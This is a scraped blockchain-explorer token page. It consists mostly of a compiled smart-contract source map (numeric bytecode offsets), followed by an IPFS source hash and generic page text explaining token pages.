3044:6328:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4641:83;;;;;;;;;;-1:-1:-1;4711:5:0;;;;;;;;;;;-1:-1:-1;;;4711:5:0;;;;4641:83;;;;4711:5;4641:83;:::i;:::-;;;;;;;;7179:193;;;;;;;;;;-1:-1:-1;7179:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7179:193:0;1004:187:1;3762:41:0;;;;;;;;;;-1:-1:-1;3762:41:0;;;;-1:-1:-1;;;;;3762:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;3762:41:0;1196:229:1;5016:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;5016:108:0;1430:177:1;5766:353:0;;;;;;;;;;-1:-1:-1;5766:353:0;;;;;:::i;:::-;;:::i;4827:83::-;;;;;;;;;;-1:-1:-1;4827:83:0;;3330:2;2087:36:1;;2075:2;2060:18;4827:83:0;1945:184:1;3523:31:0;;;;;;;;;;;;;;;;4918:90;;;;;;;;;;-1:-1:-1;4989:11:0;;;;4918:90;;8322:184;;;;;;;;;;;;;:::i;:::-;;3643:74;;;;;;;;;;-1:-1:-1;3643:74:0;;;;;;;-1:-1:-1;;;;;3643:74:0;;;5132:177;;;;;;;;;;-1:-1:-1;5132:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;5283:18:0;5251:7;5283:18;;;:9;:18;;;;;;;5132:177;2118:87;;;;;;;;;;-1:-1:-1;2164:7:0;2191:6;-1:-1:-1;;;;;2191:6:0;2118:87;;8802:437;;;;;;;;;;-1:-1:-1;8802:437:0;;;;;:::i;:::-;;:::i;5526:232::-;;;;;;;;;;-1:-1:-1;5526:232:0;;;;;:::i;:::-;;:::i;3561:32::-;;;;;;;;;;;;;;;;5317:201;;;;;;;;;;-1:-1:-1;5317:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5483:18:0;;;5451:7;5483:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5317:201;8514:280;;;;;;;;;;-1:-1:-1;8514:280:0;;;;;:::i;:::-;;:::i;9247:85::-;;;;;;;;;;;;;:::i;7179:193::-;7281:4;7303:39;1883:10;7326:7;7335:6;7303:8;:39::i;:::-;-1:-1:-1;7360:4:0;7179:193;;;;;:::o;5016:108::-;5077:7;3395:13;3330:2;3395;:13;:::i;:::-;3379:29;;:13;:29;:::i;:::-;5097:19;;5016:108;:::o;5766:353::-;5898:4;5915:36;5925:6;5933:9;5944:6;5915:9;:36::i;:::-;-1:-1:-1;;;;;6033:19:0;;;;;;:11;:19;;;;;;;;1883:10;6033:33;;;;;;;;;5962:127;;5985:6;;6033:45;;6071:6;6033:37;:45::i;:::-;5962:8;:127::i;:::-;-1:-1:-1;6107:4:0;5766:353;;;;;:::o;8322:184::-;2164:7;2191:6;-1:-1:-1;;;;;2191:6:0;1883:10;8370:23;8362:32;;;;;;8434:21;8466:32;8434:21;8466:12;:32::i;:::-;8351:155;8322:184::o;8802:437::-;2164:7;2191:6;-1:-1:-1;;;;;2191:6:0;1883:10;8909:23;8901:32;;;;;;8949:9;8944:288;8964:13;;;8944:288;;;9017:48;9049:15;3330:2;9049;:15;:::i;:::-;9037:6;;9044:1;9037:9;;;;;;;:::i;:::-;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;9017:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;8999:15:0;;;;;;:9;:15;;;;;:66;9099:50;9133:15;3330:2;9133;:15;:::i;:::-;9120:6;;9127:1;9120:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;9099:9;:16;9109:2;;9112:1;9109:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9099:16:0;;;;;;;;;;;;-1:-1:-1;9099:16:0;;;:20;:50::i;:::-;9080:9;:16;9090:2;;9093:1;9090:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9080:16:0;;;;;;;;;;;;-1:-1:-1;9080:16:0;:69;9184:2;;9187:1;9184:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9169:51:0;9178:4;-1:-1:-1;;;;;9169:51:0;-1:-1:-1;;;;;;;;;;;3330:2:0;9204;:15;;;;:::i;:::-;9191:6;;9198:1;9191:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;9169:51;;1576:25:1;;;1564:2;1549:18;9169:51:0;;;;;;;8979:3;;8944:288;;;;8802:437;;;;;:::o;5526:232::-;5640:4;1883:10;5701:27;1883:10;5718:2;5722:5;5701:9;:27::i;8514:280::-;2164:7;2191:6;-1:-1:-1;;;;;2191:6:0;1883:10;8629:23;8621:32;;;;;;8669:9;8664:123;8684:13;;;8664:123;;;8739:2;;8742:1;8739:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8724:51:0;8733:4;-1:-1:-1;;;;;8724:51:0;-1:-1:-1;;;;;;;;;;;3330:2:0;8759;:15;;;;:::i;:::-;8746:6;;8753:1;8746:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;8724:51;;1576:25:1;;;1564:2;1549:18;8724:51:0;;;;;;;8699:3;;8664:123;;9247:85;2077:13;:11;:13::i;:::-;9313:11:::1;::::0;;-1:-1:-1;;9298:26:0;::::1;9313:11;::::0;;::::1;9312:12;9298:26;::::0;;9247:85::o;7380:369::-;-1:-1:-1;;;;;7507:19:0;;7499:68;;;;-1:-1:-1;;;7499:68:0;;6038:2:1;7499:68:0;;;6020:21:1;6077:2;6057:18;;;6050:30;6116:34;6096:18;;;6089:62;-1:-1:-1;;;6167:18:1;;;6160:34;6211:19;;7499:68:0;;;;;;;;;-1:-1:-1;;;;;7586:21:0;;7578:68;;;;-1:-1:-1;;;7578:68:0;;6443:2:1;7578:68:0;;;6425:21:1;6482:2;6462:18;;;6455:30;6521:34;6501:18;;;6494:62;-1:-1:-1;;;6572:18:1;;;6565:32;6614:19;;7578:68:0;6241:398:1;7578:68:0;-1:-1:-1;;;;;7657:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7709:32;;1576:25:1;;;7709:32:0;;1549:18:1;7709:32:0;;;;;;;7380:369;;;:::o;6127:1044::-;-1:-1:-1;;;;;6216:18:0;;6208:68;;;;-1:-1:-1;;;6208:68:0;;6846:2:1;6208:68:0;;;6828:21:1;6885:2;6865:18;;;6858:30;6924:34;6904:18;;;6897:62;-1:-1:-1;;;6975:18:1;;;6968:35;7020:19;;6208:68:0;6644:401:1;6208:68:0;-1:-1:-1;;;;;6295:16:0;;6287:64;;;;-1:-1:-1;;;6287:64:0;;7252:2:1;6287:64:0;;;7234:21:1;7291:2;7271:18;;;7264:30;7330:34;7310:18;;;7303:62;-1:-1:-1;;;7381:18:1;;;7374:33;7424:19;;6287:64:0;7050:399:1;6287:64:0;6389:6;6370:15;6380:4;-1:-1:-1;;;;;5283:18:0;5251:7;5283:18;;;:9;:18;;;;;;;5132:177;6370:15;:25;;6362:76;;;;-1:-1:-1;;;6362:76:0;;7656:2:1;6362:76:0;;;7638:21:1;7695:2;7675:18;;;7668:30;7734:34;7714:18;;;7707:62;-1:-1:-1;;;7785:18:1;;;7778:36;7831:19;;6362:76:0;7454:402:1;6362:76:0;-1:-1:-1;;;;;6487:22:0;;6449:17;6487:22;;;:16;:22;;;;;;;;6486:23;:48;;;;-1:-1:-1;;;;;;6514:20:0;;;;;;:16;:20;;;;;;;;6513:21;6486:48;6483:335;;;6559:11;;;;6551:53;;;;-1:-1:-1;;;6551:53:0;;8063:2:1;6551:53:0;;;8045:21:1;8102:2;8082:18;;;8075:30;8141:31;8121:18;;;8114:59;8190:18;;6551:53:0;7861:353:1;6551:53:0;6655:3;6640:12;;6631:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;6682:13;;6619:39;;-1:-1:-1;;;;;;6682:13:0;;;6676:19;;;;6673:134;;6753:3;6737:13;;6728:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;6716:40;;6775:16;6786:4;6775:10;:16::i;:::-;6833:13;;6830:164;;6906:4;6888:24;;;;:9;:24;;;;;;:34;;6913:9;;6888:34;:::i;:::-;6881:4;6863:24;;;;:9;:24;;;;;;;:59;;;;6942:40;;-1:-1:-1;;;;;6942:40:0;;;-1:-1:-1;;;;;;;;;;;6942:40:0;;;6972:9;1576:25:1;;1564:2;1549:18;;1430:177;6942:40:0;;;;;;;;6830:164;7041:6;7023:15;7033:4;-1:-1:-1;;;;;5283:18:0;5251:7;5283:18;;;:9;:18;;;;;;;5132:177;7023:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;7006:15:0;;;;;;:9;:15;;;;;:41;7090:18;7099:9;7090:6;:18;:::i;:::-;-1:-1:-1;;;;;7073:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;7059:13:0;;;;;;;:9;:13;;;;;:50;;;;7125:38;;-1:-1:-1;;;;;;;;;;;7144:18:0;7153:9;7144:6;:18;:::i;:::-;7125:38;;1576:25:1;;;1564:2;1549:18;7125:38:0;;;;;;;6197:974;6127:1044;;;:::o;2759:123::-;2817:7;2849:1;2844;:6;;2837:14;;;;:::i;:::-;2869:5;2873:1;2869;:5;:::i;:::-;2862:12;2759:123;-1:-1:-1;;;2759:123:0:o;8212:98::-;2164:7;2191:6;;8269:33;;-1:-1:-1;;;;;2191:6:0;;;;8269:33;;;;;8295:6;;8269:33;2164:7;8269:33;8295:6;2191;8269:33;;;;;;;;;;;;;;;;;;;;;8212:98;:::o;2890:147::-;2948:7;;2980:5;2984:1;2980;:5;:::i;:::-;2968:17;;3008:1;3003;:6;;2996:14;;;;:::i;2213:108::-;2277:6;;-1:-1:-1;;;;;2277:6:0;1883:10;2277:22;2269:44;;;;-1:-1:-1;;;2269:44:0;;9038:2:1;2269:44:0;;;9020:21:1;9077:1;9057:18;;;9050:29;-1:-1:-1;;;9095:18:1;;;9088:39;9144:18;;2269:44:0;8836:332:1;2269:44:0;2213:108::o;7963:241::-;-1:-1:-1;;;;;5283:18:0;;8039:1;5283:18;;;:9;:18;;;;;;8023:17;8020:176;;8062:11;;;;8057:128;;8094:17;8105:5;;8094:10;:17::i;8057:128::-;8152:17;8163:5;;7830:125;7907:4;7893:11;:18;7889:59;;;7928:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2342:186::-;2401:6;2454:2;2442:9;2433:7;2429:23;2425:32;2422:52;;;2470:1;2467;2460:12;2422:52;2493:29;2512:9;2493:29;:::i;2533:367::-;2596:8;2606:6;2660:3;2653:4;2645:6;2641:17;2637:27;2627:55;;2678:1;2675;2668:12;2627:55;-1:-1:-1;2701:20:1;;2744:18;2733:30;;2730:50;;;2776:1;2773;2766:12;2730:50;2813:4;2805:6;2801:17;2789:29;;2873:3;2866:4;2856:6;2853:1;2849:14;2841:6;2837:27;2833:38;2830:47;2827:67;;;2890:1;2887;2880:12;2827:67;2533:367;;;;;:::o;2905:847::-;3036:6;3044;3052;3060;3068;3121:2;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3160:29;3179:9;3160:29;:::i;:::-;3150:39;;3240:2;3229:9;3225:18;3212:32;3263:18;3304:2;3296:6;3293:14;3290:34;;;3320:1;3317;3310:12;3290:34;3359:70;3421:7;3412:6;3401:9;3397:22;3359:70;:::i;:::-;3448:8;;-1:-1:-1;3333:96:1;-1:-1:-1;3536:2:1;3521:18;;3508:32;;-1:-1:-1;3552:16:1;;;3549:36;;;3581:1;3578;3571:12;3549:36;;3620:72;3684:7;3673:8;3662:9;3658:24;3620:72;:::i;:::-;2905:847;;;;-1:-1:-1;2905:847:1;;-1:-1:-1;3711:8:1;;3594:98;2905:847;-1:-1:-1;;;2905:847:1:o;3757:260::-;3825:6;3833;3886:2;3874:9;3865:7;3861:23;3857:32;3854:52;;;3902:1;3899;3892:12;3854:52;3925:29;3944:9;3925:29;:::i;:::-;3915:39;;3973:38;4007:2;3996:9;3992:18;3973:38;:::i;:::-;3963:48;;3757:260;;;;;:::o;4022:127::-;4083:10;4078:3;4074:20;4071:1;4064:31;4114:4;4111:1;4104:15;4138:4;4135:1;4128:15;4154:416;4243:1;4280:5;4243:1;4294:270;4315:7;4305:8;4302:21;4294:270;;;4374:4;4370:1;4366:6;4362:17;4356:4;4353:27;4350:53;;;4383:18;;:::i;:::-;4433:7;4423:8;4419:22;4416:55;;;4453:16;;;;4416:55;4532:22;;;;4492:15;;;;4294:270;;;4298:3;4154:416;;;;;:::o;4575:806::-;4624:5;4654:8;4644:80;;-1:-1:-1;4695:1:1;4709:5;;4644:80;4743:4;4733:76;;-1:-1:-1;4780:1:1;4794:5;;4733:76;4825:4;4843:1;4838:59;;;;4911:1;4906:130;;;;4818:218;;4838:59;4868:1;4859:10;;4882:5;;;4906:130;4943:3;4933:8;4930:17;4927:43;;;4950:18;;:::i;:::-;-1:-1:-1;;5006:1:1;4992:16;;5021:5;;4818:218;;5120:2;5110:8;5107:16;5101:3;5095:4;5092:13;5088:36;5082:2;5072:8;5069:16;5064:2;5058:4;5055:12;5051:35;5048:77;5045:159;;;-1:-1:-1;5157:19:1;;;5189:5;;5045:159;5236:34;5261:8;5255:4;5236:34;:::i;:::-;5306:6;5302:1;5298:6;5294:19;5285:7;5282:32;5279:58;;;5317:18;;:::i;:::-;5355:20;;4575:806;-1:-1:-1;;;4575:806:1:o;5386:140::-;5444:5;5473:47;5514:4;5504:8;5500:19;5494:4;5473:47;:::i;5531:168::-;5604:9;;;5635;;5652:15;;;5646:22;;5632:37;5622:71;;5673:18;;:::i;5704:127::-;5765:10;5760:3;5756:20;5753:1;5746:31;5796:4;5793:1;5786:15;5820:4;5817:1;5810:15;8219:217;8259:1;8285;8275:132;;8329:10;8324:3;8320:20;8317:1;8310:31;8364:4;8361:1;8354:15;8392:4;8389:1;8382:15;8275:132;-1:-1:-1;8421:9:1;;8219:217::o;8441:125::-;8506:9;;;8527:10;;;8524:36;;;8540:18;;:::i;8571:128::-;8638:9;;;8659:11;;;8656:37;;;8673:18;;:::i;8704:127::-;8765:10;8760:3;8756:20;8753:1;8746:31;8796:4;8793:1;8786:15;8820:4;8817:1;8810:15

Swarm Source

ipfs://df191204549f91242272edb8b6836105068cce3bf124cf25d4de8fba4e0c00a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.